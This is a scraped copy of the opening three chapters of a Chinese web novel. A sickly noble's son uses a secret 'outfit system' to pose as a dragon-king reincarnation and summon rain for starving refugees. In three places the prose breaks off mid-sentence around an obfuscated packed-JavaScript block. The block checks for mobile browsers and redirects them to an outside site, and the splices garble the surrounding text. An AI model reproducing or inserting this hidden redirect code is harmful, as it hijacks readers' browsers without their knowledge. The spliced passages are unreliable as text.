《我靠换装系统伪装神明》 1. 第 1 章 龟裂的大地向远方延伸,像一张被无形巨手撕开的巨大蛛网。 赵老六蹲下身,用手指触碰那些裂缝,指节宽的裂口深不见底,吞噬一切希望。 他抬头望向灰蒙蒙的天空,没有一丝云彩,只有一轮惨白的太阳无情地炙烤着这片土地。 “爷爷,我渴……”小石头扯了扯赵老六的衣角,嘴唇干裂得渗出血丝。 赵老六咽了口唾沫,喉咙里火辣辣的疼。 他解下腰间的水囊摇了摇,里面只剩下几滴浑浊的水。 “再忍忍,等到了前面……”他的声音沙哑得几乎听不清。 “前面哪还有水?”身后传来一声冷笑。李大牛扛着一根扁担,扁担两头挂着两个空竹筐,“这条河去年就干了,井也见了底。连树皮都啃光了,还说什么前面。” 队伍缓慢地向前蠕动,像一条垂死的蛇。 一百多号人,有老有少,个个面黄肌瘦,眼窝深陷。有人用树枝撑着身体,有人干脆爬行。一个妇人抱着干瘪的婴儿,婴儿已经不会哭了,只是偶尔发出小猫般的呜咽。 “听说河阳府那边……”一个驼背老头咳嗽着说,“府尹大人在开仓放粮……” “放屁!”李大牛啐了一口,唾沫在空中就蒸发了,“官府的话能信?去年就说要赈灾,结果呢?粮食全进了那些狗官的腰包!” 赵老六把小石头往身边拉了拉。 孩子轻得像片枯叶,他能感觉到孙子突出的肋骨。 “少说两句吧,省点力气走路。”他低声说。 队伍经过一片枯死的树林,树干扭曲如鬼爪,伸向无情的天空。树下一个老人靠着树干坐着,眼睛半闭,胸膛几乎没有起伏。赵老六知道,不用等到明天,这又会是一具被乌鸦啄食的尸体。 “爷爷,那个人……”小石头指着路边一具小小的骸骨,已经被风干。 赵老六捂住孙子的眼睛,“别看。” 但他自己却无法移开视线。那具小小的骨架保持着蜷缩的姿势,仿佛还在寻求母亲的怀抱。 正午时分,队伍停下来休息。 如果这种瘫倒在地的状态可以称为休息。 赵老六从怀里掏出半块黑乎乎的饼子,掰了一小块给小石头。这是三天前从一个废弃的磨坊里找到的,吃下去像吞了一把沙子。 “老六哥,”驼背老头爬过来,“你听说过河阳府尹的那个儿子吗?” 赵老六摇摇头,把最后一点饼屑舔进嘴里。 “听说那孩子生下来时,天降异象,”老头神秘兮兮地说,浑浊的眼睛突然有了点亮光,“满屋子香气,口含珠而生!” 李大牛在不远处嗤笑一声,“又来了,神神叨叨的。要真有这么神,怎么不去求雨?” “你懂什么!”老头激动起来,干枯的手指颤抖着,“那孩子叫太生微,生来就有神通。现在长大了,能祈雨!河阳府那边的人都说,他已经在准备大法事了!” 赵老六感到怀中的小石头动了动。“爷爷,真的会下雨吗?”孩子仰起脏兮兮的小脸,眼睛里有一丝微弱的光。 “会的,一定会的。”赵老六抚摸孙子的头发,发现又掉了一大把。他抬头看向驼背老头,“你亲眼见过那个……太生微?” “我哪有那福分,”老头摇摇头,“但我表兄的连襟在河阳府当差,说亲眼看见那孩子在府衙后院做法,招来一片乌云呢!虽然雨没下来,但那是时候未到……” 队伍中渐渐聚拢了几个人,听着老头讲述。有人摇头不信,有人眼中燃起希望。一个抱着婴儿的妇女突然跪下,朝河阳府方向磕头,“救苦救难的活菩萨啊,救救我的孩子吧……” “都起来!赶路了!”领头的汉子敲着破锣,声音嘶哑。人们艰难地爬起来,继续那似乎没有尽头的跋涉。 傍晚时分,他们经过一个废弃的村庄。 土坯房大多倒塌,井口堆着几具尸体——大概是抢水时打斗致死的。赵老六让小石头等在村口,自己冒险进去搜寻。在一间半塌的屋子里,他发现了一小袋发霉的谷子,还有半坛子浑浊的水。他如获至宝地抱出来,分给了几个最虚弱的人。 “老六叔……”一个年轻妇人拉住他的衣角,怀里抱着个奄奄一息的女娃,“给……给孩子一口吧……” 赵老六看了看小石头,孙子懂事地点点头。他把最后一口水分给了那个女娃。 夜里,人们挤在一起取暖。 尽管白天酷热难当,夜晚却出奇地冷。小石头在赵老六怀里发抖,额头滚烫。 “爷爷,给我讲个故事吧……”孩子气若游丝地说。 赵老六想了想,开始讲述:“很久以前,有条小龙因为犯错被罚下凡间。它变成一个小男孩,被一户善良的农家收养。有一年大旱,庄稼都要枯死了,那孩子就在院子里跳舞,跳着跳着,天上就下起了雨……” “后来呢?”小石头微弱地问。 “后来啊,雨越下越大,干旱解除了。人们才知道那孩子是龙变的。为了感谢农家,小龙每年都会回来给他们带来好收成。” “那个太生微……也是龙变的吗?” 赵老六沉默了一会,“睡吧,明天还要赶路。” 第二天清晨,队伍里少了三个人。 两个老人和一个孩子,在夜里安静地离开了这个世界。 人们用枯草盖住他们的脸,继续前行。这是现在的规矩,没有力气埋葬,也没有眼泪可流。 正午时分,他们到达一个岔路口。一条路指向河阳府,另一条通向更远的州府。队伍停了下来,争论不休。 “去州府吧,那里粮仓更大!”有人提议。 “放屁!州府那么远,走不到的!” “河阳府也不近啊!而且谁知道那个太生微是不是真的能祈雨?” “我听说河阳府尹已经开仓放粮了,去晚了就没了!” 争论越来越激烈,最后几乎要动手。赵老六站在一旁,看着两条同样尘土飞扬的路。小石头靠在他腿上,已经站不稳了。 “老六叔,你说呢?”有人问他。 赵老六看了看天空,又看了看怀里的孙子。 他想起昨晚讲的故事,想起驼背老头说的异象。“去河阳府,”他声音坚定,“就算没有祈雨,至少有人在放粮。州府太远,我们撑不到的。” “你怎么知道河阳府真的在放粮?”李大牛质问,“万一又是谣言呢?” 赵老六没有回答。他牵起小石头的手,率先踏上了通往河阳府的路。慢慢地,其他人跟了上来,包括那个驼背老头和抱着婴儿的妇人。李大牛骂骂咧咧,但最终还是跟上了队伍。 第二天,小石头发起了高烧。赵老六背着孙子,每一步都像踩在棉花上。他不知道自己还能坚持多久,只知道停下就是死亡。 “看!那是什么?”突然有人喊道。 远处,一缕烟尘升起。不是旱地里常见的旋风,而是有规律的、笔直的烟柱。 “是炊烟!有人做饭!”驼背老头激动地喊起来。 人们突然有了力气,加快脚步向烟的方向走去。 赵老六的心砰砰直跳,但他不敢太乐观。上一次看到炊烟,他们找到的是一群煮食树皮的流民,而那锅“汤”里还浮着一截手指…… 随着距离拉近,他们看到了旗帜。 官府的旗帜! 还有几个穿着差服的人站在临时搭建的棚子前,棚子下是一口大锅,冒着热气。 “是赈灾的!河阳府真的在放粮!”人们哭喊着向前奔去,摔倒又爬起来。 赵老六却突然腿软,跪倒在地。小石头从他背上滑下来,他紧紧抱住孙子,泪水终于冲出了干涸的眼眶。 一个差役走过来,惊讶地看着这群形容枯槁的流民。“你们是从北边来的?能走到这里真是命大。”他看了看赵老六怀里的小石头,“孩子怎么了?” “发烧……又饿又渴……”赵老六哽咽着说。 差役转身喊道:“大夫!这儿有个孩子不行了!”然后对赵老六说:“别怕,我们带了郎中和药。河阳府尹大人派了五支队伍出来接应流民。” “那个……府尹公子……”赵老六突然问,“他真的能祈雨吗?” 差役愣了一下,随即笑了,“连你们都听说了?少爷确实在准备祈雨大典,就在两天后。府尹大人说了,不管祈雨成不成,先救人要紧。” 河阳府城外的赈济营地比赵老六想象的要规整许多。 几十个草棚沿着干涸的河床排列,每个棚子前都排着长队。 穿皂隶服的差役维持着秩序,不时呵斥那些想插队的人。 “北边来的流民到丙字棚登记!”一个书吏模样的人站在高处喊着。 赵老六背着小石头,跟着驼背老头往丙字棚挪动。 孩子的呼吸喷在他脖子上,滚烫,微弱。 沿途的草棚里躺着许多病人,呻吟声此起彼伏。 但至少这里有水。 几个壮丁正从深井里打水,倒进大木桶里,虽然每人只能分到半碗,但比路上强多了。 “姓名?籍贯?家中几口?”登记的书吏头也不抬,毛笔在名册上飞快移动。 “赵六,青林县赵家沟人,原本……”赵老六嗓子发紧,“原本六口人,现在……就剩我和孙子了。” 书吏这才抬头看了一眼,目光在小石头青白的脸上停留片刻,随即在名册上画了个红圈。 “带孩子去戊字棚,那儿有郎中。”他递给赵老六两块竹牌,“红牌领粥,绿牌看病,别弄混了。” 戊字棚比别的棚子安静许多。 一个须发花白的老郎中正在给一个妇人把脉,旁边的小童碾着药。赵老六站在一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723248|173930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁等待,感觉小石头在他怀里越来越轻,像要化成一缕烟飘走。 “热毒攻心,加上长期饥饿。”郎中检查完小石头后摇摇头,“我只能开些清热的药,能不能熬过去,看这孩子自己的造化了。” 赵老六跪下来就要磕头,被郎中一把拉住。“别折我寿数,”老郎中叹气道,“要谢就谢太生大人吧,这些药材都是他家的私库出的。” 正说着,外面突然传来一阵骚动。马蹄声如雷,由远及近。赵老六抱着刚喂完药的小石头走出棚子,只见一队四匹马拉的朱漆马车飞驰而过,车轮卷起的尘土扑了排队领粥的人们一脸。 “咳咳……什么人大白天的在灾民堆里跑马……”驼背老头抱怨道。 旁边一个正在分粥的差役压低声音:“噤声!那是周司马的车驾!” 马车窗帘掀起一角,露出一张四十岁上下男子的脸。 面白无须,眉间一道深深的竖纹,眼睛像两把刀子扫过灾民营地。 赵老六下意识地退后半步,却见那目光已经移开,窗帘随即落下。 马车内,河阳府司马周世铮松开帘子,转向对面坐着的青衫文士:“子陵兄,看见了吗?又多了至少两百流民。” 被称作子陵的文士点点头,手中折扇轻敲掌心:“这五日已收容近两千人。照这个速度,月底前河阳府外聚集的流民将过万。” 周世铮冷笑一声:“太生明德倒是会收买人心。开仓放粮,派医施药……不知道的还真以为他是什么青天大老爷。” 马车一个颠簸,小几上的茶盏差点翻倒。 子陵扶住茶盏,若有所思:“司马大人,关于那位‘龙王转世’的传闻……” “荒谬!”周世铮突然提高声调,又立即压低,“太生微那个病秧子,三岁还不会说话,五岁才能走路,现在十五岁了连弓都拉不开。就这,还龙王转世?” 子陵却微微一笑:“可如今四处都在传,说太生公子出生时天降异象,满室生香。更有甚者,说他三岁时曾在后园嬉水,随手一指,干涸的池塘便涌出清泉。” 周世铮眯起眼睛:“子陵兄莫非也信这等无稽之谈?” “信与不信并不重要。”子陵展开折扇,“重要的是流民们信。司马大人请看——” 他用扇尖轻轻挑起窗帘一角。 马车正经过一处新搭建的粥棚,棚前立着一面大旗,上书“太生赈济”四个大字。 流民们领粥时纷纷朝旗帜跪拜,有人甚至痛哭流涕。 “自大旱以来,北方流民百万。”子陵的声音像蛇一样滑进周世铮耳中,“谁能收拢这些流民的心,谁就掌握了乱世中最宝贵的东西……人心。太生明德这一手,高明啊。” 周世铮沉默片刻,突然问道:“祈雨大典准备得如何了?” “两日后在南郊祭坛举行。太生家从洛阳请来了白云观的道士,据说连久不出山的玉真子都惊动了。”子陵收起折扇,“司马大人,下官斗胆问一句,若那太生微真能祈来雨水……” “那他就是真龙天子了?”周世铮冷笑打断,“子陵兄熟读史书,可曾见过哪个真龙天子要靠道士做法才能下雨的?” 马车突然减速。 外面侍卫禀报:“大人,府衙到了。” 周世铮整了整衣冠,临下车前低声道,“准备一份厚礼,我要亲自拜访太生公子。” 子陵挑眉:“司马大人这是……” “既然要演,”周世铮嘴角勾起一抹冷笑,“那本官自然要演好。” 与此同时,赵老六正抱着小石头坐在戊字棚外。 孩子喝了药,睡得安稳了些。驼背老头端来两碗稀粥,粥里居然飘着几片菜叶。 “听说没?”老头神秘兮兮地凑过来,“两天后太生公子要在南郊祈雨!营地里的流民都可以去看!” 旁边一个正在啃树皮的年轻人抬起头,眼中闪着异样的光:“我老家有人见过太生公子,说他眼睛是金色的,下雨天头顶永远淋不湿……” “胡说八道!”一个书生模样的人打断道,“太生微我见过,去年重阳诗会上,不过是个普通贵公子……” “你懂什么!”年轻人突然激动起来,“那是他隐藏真身!我表叔在太生府当马夫,说有一次亲眼看见公子房间半夜放出蓝光!” 争论声引来了更多人。 赵老六默默听着,手指无意识地盖住小石头滚烫的额头。 他望向河阳府高大的城墙,那里旌旗招展,最显眼的一面黑底金边大旗上,写着一个龙飞凤舞的“太生”。 “老六哥,你说太生公子真能求来雨吗?”驼背老头问。 赵老六想起路上讲给小石头的那个龙子故事。他低头看着孙子枯瘦的小脸,轻声道:“若真能下雨……那他就是真龙天子。” 远处,周世铮的马车已经驶入府衙大门。 2. 第 2 章 河阳府,南阳府邸。 夜色沉沉,府内却灯火通明。 太生微斜倚在窗边的软榻上,手中端着一只白玉茶盏。 茶水温热,雾气袅袅上升,在他眼前散开。 他的面容苍白如瓷,眉间一点朱砂痣似血般鲜艳,衬得那双琥珀色的眸子愈发深邃。 “父亲,还在忧心?”他开口。 太生明德站在书案前,手中捏着一份名册,眉头紧锁。 他年近五旬,鬓角已见霜色,此刻,额上渗出细密的汗珠。 “微儿,流民将逾万人,府库粮食撑不过十日。”他压低声音,手指微微发抖,“若祈雨不成……我们放出去的传言,便是催命符!” 太生微轻笑一声,指尖在茶盏边缘轻轻一敲。 “叮——” 一声清响,茶盏中的水面忽地泛起涟漪,随即凝结成冰,又在转瞬间化回温水,雾气更盛。 太生明德瞳孔一缩,呼吸凝滞。 “父亲还不信我?”太生微抬眼。 太生明德喉头滚动,半晌才低声道:“信……当然信。” 他怎能不信? 十年前,太生微病弱垂死,一夜之间却痊愈如初,此后更是展露神异。 隔空变物、点石成玉。 可即便如此,面对这乱世天灾,他仍旧心惊胆战。 太生微垂眸,手指轻点案上的一幅舆图。 图上勾勒出大胤疆土,北方赤地千里,南方洪涝成灾,河阳府恰如风雨中的孤舟,稍有不慎便是万劫不复。 “天下将乱,群雄并起。”他淡淡道,“朝廷无力赈灾,诸侯各怀鬼胎,流民百万,易子而食……” “这样的世道……不应该神明降恩吗?” 太生明德握紧拳头,低声道:“可若祈雨失败……” “不会失败。”太生微打断他,语气平静,却不容反驳。 话音未落,门外传来急促的脚步声。 “老爷!公子!”小厮在门外躬身禀报,“周司马到访,说是……特意为祈雨大典献礼。” 太生明德面色一变,看向太生微。 太生微唇角微勾,指尖轻轻一抬,示意父亲前去应付。 “父亲且去,莫让他久等。” 太生明德深吸一口气,整了整衣冠,转身离去。 临出门前,他忍不住回头看了一眼。 太生微仍立于窗边,月光洒落肩头,衣袂无风自动。 那一瞬,仿佛不是凡人,而是云端垂眸的神祇。 …… 待脚步声远去,太生微才缓缓抬手,指尖在虚空中轻轻一点。 【叮——变装系统已开启。】 一道只有他能听见的声音在脑海中响起。 第一次听到这个声音是十年前。 太生微睁开眼,喉咙里像是塞了一块烧红的炭。 他听见哭声。 女人的,压抑的,像是从很远的地方传来,又像是贴着他的耳膜在颤抖。 “……微儿……微儿……” 有人在叫他。 他努力聚焦视线,看到一张憔悴的脸。 一个约莫三十岁的妇人,眼眶通红,手指死死攥着一串佛珠,指节发白。 “夫人……公子怕是……”旁边站着一个山羊胡的老者,声音沉重,“高热多日不退,脉象已乱,药石罔效……” 妇人猛地摇头。 “不!再试试!再——” 她的话戛然而止。 因为床上的幼童,太生微,已经睁开了眼。 妇人倒吸一口气,手中的佛珠啪嗒一声掉在地上。 “微……微儿?” 太生微没有说话。 他的脑海里,一道机械的声音正在回荡。 【叮——检测到宿主生命体征濒危,自动激活‘幻裳系统’。】 【系统绑定成功。】 【规则:每日签到抽奖一次,集齐套装可激活特殊效果。】 【首次抽奖中……】 【恭喜获得:夜明珠·‘沧海月明’(单件,N级)。】 他的掌心忽然一凉。 一颗珠子凭空出现,莹润如玉,通体泛着幽蓝的光,像是深海中最冷的一抹色。 “这……这是?!” 站在一旁的中年男人猛地冲上前,双眼瞪大。 珠子散发出的凉意渗入太生微的皮肤,高热退去。 他握紧珠子,抬眼看向太生明德。 古代……这个样子只怕会被当成妖孽。 但他还是个孩子,谁会不相信孩童的话。 “父亲……”他开口,嗓音嘶哑,“我梦见……沧海龙君赐我此物。” ——那是他撒的第一个谎。 而太生明德,信了。 那夜之后,太生府上下震动。 郎中们面面相觑,无法解释为何垂死的公子忽然痊愈。 太生明德捧着那颗夜明珠,在祠堂跪了一整夜,第二日便请来了河阳府最有名的道士,为太生微“观相”。 道士一进门,便盯着太生微的脸看了许久,最后颤巍巍地跪下,高呼:“公子命格非凡,乃天星转世!” 太生微坐在主位上,唇角微勾。 他知道,这道士不过是见风使舵,可这不重要。 重要的是,从这一刻起,他不再是“太生家的病弱公子”,而是“天命所归之人”。 十年过去,太生微早已摸透了这个“幻裳系统”的规则。 1、每日可抽奖一次,概率获得服饰、首饰、道具等单件,极小概率直接掉落完整套装。 2、集齐同一套装的部件,首次穿戴时可激活“特效”,效果与套装等级相关。 3、套装等级分为N(普通)、R(稀有)、SR(超稀有)、SSR(传说)。 每日辰时,太生微都会独自站在书房内,指尖轻点虚空,唤出系统界面。 【今日抽奖:开始。】 光幕流转,最终定格。 【获得:夜明珠·‘沧海月明’(单件,N级)。】 太生微面无表情地将珠子丢进一旁的锦盒里。 十年间,他抽了四千多次奖,夜明珠占了一成。 “系统。”他淡淡道,“你是不是只会给夜明珠?” 系统沉默。 系统像个人机,也不答话,不过太生微也不是很在意。 而在所有抽到的物品中,真正有价值的,是“套装”。 十年间,他只集齐十六套,其中十三套是N级,效果不过是“穿戴后容光焕发”或“步履生香”之类的小把戏。 R级有两套: 【鹤唳·‘青霄客’】 穿戴后身轻如燕,可短暂踏风而行。 【狐魅·‘胭脂祸’】 佩戴者眼波流转间,可令人短暂恍惚。 而SR级,仅有一套—— 【套装名称】:龙女·‘云霓雨魄’(SR) 【部件】: 1. 【发饰·龙角钗】(莹白如玉的龙角状发簪,佩戴后发丝如浸珠光) 2. 【耳饰·鲛泪坠】(深海蓝琉璃耳坠,触碰时有潮汐回响) 3. 【外裳·鳞光纱】(银蓝渐变的长纱衣,行走时如波光流动) 4. 【手饰·缚雨链】(缠绕腕间的银链,缀着细小的水晶雨滴) 5. 【足饰·踏浪履】(绣着浪纹的软底靴,步履无声却似踏水而行) 【特效·‘呼风唤雨’】: 首次穿戴时,方圆百里内天象骤变,暴雨倾盆,持续十二时辰。 雨中隐现龙影,所有目睹者将产生短暂“敬畏”状态(心神震荡,易受暗示)。 穿戴者获得“水息”能力(可水下呼吸,操控小范围水流)。 这套装,他去年才凑齐。 那日,他刚结束一场诗会,回府途中忽遇暴雨。 马车颠簸间,系统提示音响起—— 【获得:发饰·龙角钗(SR)。】 【检测到套装‘龙女·云霓雨魄’已集齐,是否预览特效?】 他选择了“是”。 刹那间,他的意识被拉入一片幻境。 乌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723249|173930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云压顶,海浪滔天,一条银龙自云间探首,龙睛如月,与他四目相对。 龙吟震耳欲聋。 幻境散去时,他感觉呼吸里还残留着海水的咸涩。 这才是他敢让父亲散布“龙王转世”传言的底气。 太生微想到这里,站起身,走到书房,准备查查有没有什么典故能让他结合一下,再编造些故事出来。 幽蓝色的光芒如水般倾泻而出,整间书房宛如深海龙宫,十二颗夜明珠错落有致地嵌在特制的银丝架中,冷光交织,将每一寸角落都映照得清晰可见。 毕竟这十年来,夜明珠是他抽到最多的东西。 太生微随手从案边的锦盒里拈起一颗。 “太生大人府上的珍品,怕是……连皇宫大内都未必比得上啊。” 周世铮也捏着一颗夜明珠,对着灯光细看,脸上带着意味深长的笑。 周世铮将夜明珠放回锦盒,他抬眼看向太生明德:“太生大人,这珠子当真是稀世珍宝,不知是从何处得来?” 太生明德微微一笑,端起茶盏轻啜一口,道:“不过是祖上传下来的小物件,不值一提。倒是周司马今日亲自登门,想必不只是为了赏玩这些珠子吧?” 周世铮哈哈一笑,摆手道:“太生大人果然快人快语。实不相瞒,我此次前来,一是为祈雨大典献礼,二是想与大人商讨河阳府的赈灾事宜。如今流民日益增多,府库粮食恐怕难以支撑啊。” 太生明德眉头微蹙,叹息一声:“周司马所言极是。河阳府虽开仓放粮,但粮食损耗巨大,眼下府中存粮……仅能维持月余。” 他说到这里,语气中透出几分忧虑。 周世铮目光一闪,故作惊讶道:“竟如此紧张?太生大人为何不向朝廷求援?” 太生明德摇头苦笑:“朝廷如今自顾不暇,北方战事吃紧,南方水患频发,哪里还有余力顾及我们?我太生家世受皇恩,自当竭尽全力,为朝廷分忧。” 周世铮点头附和,心里却满是讥讽。 “太生大人忠心可鉴,令人敬佩。只是这乱世之中,单凭一腔忠心,恐怕难以力挽狂澜啊。” 太生明德神色一肃,正色道:“周司马此言差矣。为臣者,当以忠义为本。即便前路艰难,我太生家也绝不会背弃朝廷!” 周世铮见他说得慷慨激昂,心中冷笑,面上却露出钦佩之色:“太生大人高义,周某受教了。” 他顿了顿,又故作随意地问道,“听闻府上近日招募了不少壮丁,不知是为了防备流民作乱,还是另有打算?” 太生明德淡然一笑:“流民之中不乏青壮,招募他们既能为赈灾出力,又能安抚人心,一举两得。至于其他打算……周司马多虑了。” 周世铮眯起眼睛,似笑非笑:“是吗?那太生大人可真是用心良苦。” 两人又寒暄几句,周世铮见试探不出更多,便起身告辞。 太生明德亲自将他送至府门,拱手道:“周司马慢走,祈雨大典之日,还请赏光。” 周世铮回礼一笑:“一定,一定。” 说罢,转身上了马车。 待马车远去,太生明德脸上的笑容渐渐冷了下来。 “老匹夫,看来也要反了……” 夜色深沉。 太生微推门而入,见父亲正负手立于窗前。 他轻声唤道:“父亲。” 太生明德回过神,见是儿子,神色稍缓:“微儿,周世铮方才来试探了一番。” 太生微走到案前,问道:“他试探了什么?” 太生明德冷哼一声:“无非是粮食、兵力,还有我对朝廷的‘忠心’。” 他转身看向儿子,眼中多有忧虑,“微儿,周世铮此人阴险狡诈,今日虽未撕破脸,但他已起了疑心。” 太生微唇角微勾,眼中泛起冷意:“无妨,他翻不起什么风浪。” 太生明德叹息一声:“祈雨大典在即,若一切顺利,我们便能收拢人心。可若周世铮从中作梗……” 太生微打断他:“父亲放心,雨一定会下。” 沉默片刻,太生明德点头:“好,为父信你。” 3. 第 3 章 接连几日,河阳府内外流言愈演愈烈。 “听说太生公子出生时,天降祥云,满室异香!” “我表兄在府里当差,说亲眼见过公子指尖凝水!” “祈雨大典那日,咱们可都得去瞧瞧,万一真能求来雨呢?” 街头巷尾,茶肆酒馆,处处都在议论。连带着,河阳府外的流民营地也躁动起来。每日都有新的灾民涌入,他们衣衫褴褛,面容枯槁,却眼中燃着希望,把祈雨大典当成最后一根救命稻草。 太生微站在府中高阁,远眺城外黑压压的人群,唇角微不可察地扬了扬。 ——还不够。 他需要更多人,更多双眼睛亲眼见证“神迹”。 “公子,白云观的道士到了。”小厮在门外低声禀报。 太生微收回目光,淡淡道:“请进来。” 南郊。 祈雨大典前一日,南郊祭坛已初具规模。 高台以青石垒砌,四周插满五色幡旗,台中央摆放青铜大鼎,鼎内燃着特制的香料,烟雾缭绕,远远望去,宛如仙境。 数十名道士身着法衣,手持拂尘,在祭坛四周诵经布阵。 而更引人注目的是祭坛外围。 密密麻麻的人群,如潮水般涌来。 有衣衫褴褛的流民,有城中看热闹的百姓,甚至还有远道而来的商旅。 他们或跪或坐,或交头接耳,目光却都紧盯着那座高台。 “呵,排场倒是不小。”祭坛不远处,几个骑马的少年勒住缰绳,冷眼旁观。 说话的少年约莫十七八岁,一身玄色劲装,腰间配剑,眉宇间透着几分桀骜。 他姓谢,名昭,出身陈郡谢氏旁支,此次奉命北上,途经河阳府,正巧撞上这场“盛事”。 “谢昭,你信这太生微真能祈雨?”身旁一名蓝衣少年挑眉问道。 谢昭嗤笑一声:“装神弄鬼罢了。若真能呼风唤雨,何至于等到今日?” “可城中传得有鼻子有眼的,连白云观的道士都请来了。”另一人插嘴。 “道士?”谢昭冷笑,“不过是一群靠嘴皮子吃饭的江湖术士,真要有本事,早该在旱灾初起时就求雨了,何必拖到现在?” 蓝衣少年沉吟片刻,低声道:“我听说,这太生微背后不简单。河阳府尹近来大肆招揽流民中的青壮,若此次祈雨成功,只怕……” “只怕他要借‘天命’之名,聚众起事。”谢昭冷冷接话。 几人一时沉默。 乱世之中,谁不想分一杯羹?朝廷式微,诸侯并起,若太生家真能借“神迹”收拢人心,未必不能成为一方枭雄。 “可若是无雨呢?”蓝衣少年忽然问。 谢昭眯起眼,望向祭坛:“那便是欺世盗名,自取灭亡。” 【城外】 赵老六抱着小石头,挤在人群最前排。 孩子的烧退了些,但仍旧虚弱,此刻靠在他怀里,眼睛却亮得出奇。 “爷爷,太生公子真的会来吗?” 赵老六摸了摸孙子的头,低声道:“会来的。” 不远处,驼背老头挤了过来,兴奋道:“老六哥,你听说了吗?太生公子今日要亲自登坛,连府尹大人都要跪迎!” 赵老六点点头,心中却莫名忐忑。 若真能下雨…… 若不能呢? 他不敢深想。 而此刻,太生微已换上了一袭素白长袍,行走时如流风回雪。 “公子,时辰到了。”老管家躬身道。 太生微抬眸,望向窗外渐暗的天色,轻声道:“走吧。” 府门大开,早已等候多时的百姓顿时骚动起来。 “出来了!太生公子出来了!” 人群如潮水般分开,让出一条路。 太生微缓步前行,身后跟着数名道士,手持法器,口中念念有词。 两侧百姓纷纷跪伏,有人甚至激动得痛哭流涕。 “活菩萨啊!救救我们吧!” 太生微目不斜视,唇角却噙着一丝若有若无的笑意。 ——很好,人够多了。 当太生微登上祭坛时,夕阳已沉入地平线,天边仅剩一抹暗红。 高台四周,火把次第点燃,映照出无数张期盼的脸。 谢昭等人站在外围,冷眼旁观。 “装模作样。”谢昭低哼一声。 太生微似有所觉,目光扫过人群,在谢昭身上停留一瞬,又淡淡移开。 他抬手,示意众人安静。 “今日,吾以龙王之名,祈天降甘霖,解万民之苦。” 声音不大,却清晰地传入每个人耳中。 下一刻,他缓缓抬起双臂,袖袍无风自动。 道士们开始诵经,铜铃、法鼓之声交织,气氛陡然肃穆。 谢昭皱眉,心中莫名升起一丝不安。 “故弄玄虚……”他喃喃道,却不由自主地屏住了呼吸。 所有人都仰着头,望向那片无星的夜空。 会下雨吗? 还是……一场闹剧? 太生微立于祭坛中央,缓缓阖上双眼。 风声渐起,卷动他素白的衣袂,猎猎作响。 是时候了。 他在心中默念: “系统,穿戴——‘龙女·云霓雨魄’。” 【叮——】 【检测到指令,正在激活套装「龙女·云霓雨魄」(SR)——】 【部件确认……】 【套装特效·「呼风唤雨」——激活!】 刹那之间,天地骤变! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723250|173930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第一息,风起。 原本沉闷的夜空陡然被撕裂,狂风自四面八方呼啸而来,如万千龙吟汇聚,卷起祭坛四周的幡旗,猎猎翻飞! 太生微的衣袍在风中狂舞,素白的底色下,银蓝鳞纹流动,映着火光,竟似真的龙鳞闪烁! 第二息,云涌。 黑云自天际滚滚压来,厚重如铅,翻腾如浪,眨眼间遮蔽星月! 云层深处,电光隐现,如银蛇游走。 太生微立于高台之上,发间的龙角钗莹莹生辉,耳畔鲛泪坠泛起幽蓝光泽,整个人如从深海踏浪而出的神祇,不沾凡尘! 第三息,雷鸣。 “轰——!!!” 一道惊雷劈落,炸响在祭坛上空,震得大地颤动! 台下百姓惊恐跪伏,有人尖叫,有人痛哭,更多人只是瞪大双眼,死死盯着那道立于风暴中央的身影—— 太生微睁开了眼睛。 他的瞳孔已化作竖瞳,如龙如蛇,冰冷威严,俯瞰众生。 “雨来。” 二字轻吐,却如天宪! 第四息,雨落。 第一滴雨砸在祭坛上,溅起细碎水花。 第二滴、第三滴…… 转瞬之间,暴雨倾盆! 雨幕如天河倒灌,冲刷着干裂的大地,浸透每一寸土壤! 雨滴砸在人们脸上、手上,冰凉刺骨,却让所有人疯狂。 “下雨了!真的下雨了!!!” “神迹!这是神迹啊!!!” 流民们仰头张嘴,贪婪地吞咽雨水,泪水混着雨水滚落。 赵老六紧紧抱住小石头,孩子伸出枯瘦的手,接住雨滴,咯咯笑了起来:“爷爷,是甜的!” 而谢昭一行人早已僵在原地。 蓝衣少年脸色煞白,颤声道:“谢、谢昭……那是……什么?” 谢昭死死盯着祭坛,喉咙发紧。 他自幼习武,目力极佳,此刻却看不清太生微的身影。 暴雨之中,那人周身竟笼着一层朦胧水雾,银蓝纱衣流转间,隐约有龙影盘旋! “不可能……”他喃喃道,“这世上怎会真有呼风唤雨之术?!” 第五息,龙现。 云层深处,一道庞大虚影游过,鳞爪隐现,须臾间又消散无踪。 可所有人都看见了—— “龙!是龙啊!!!” 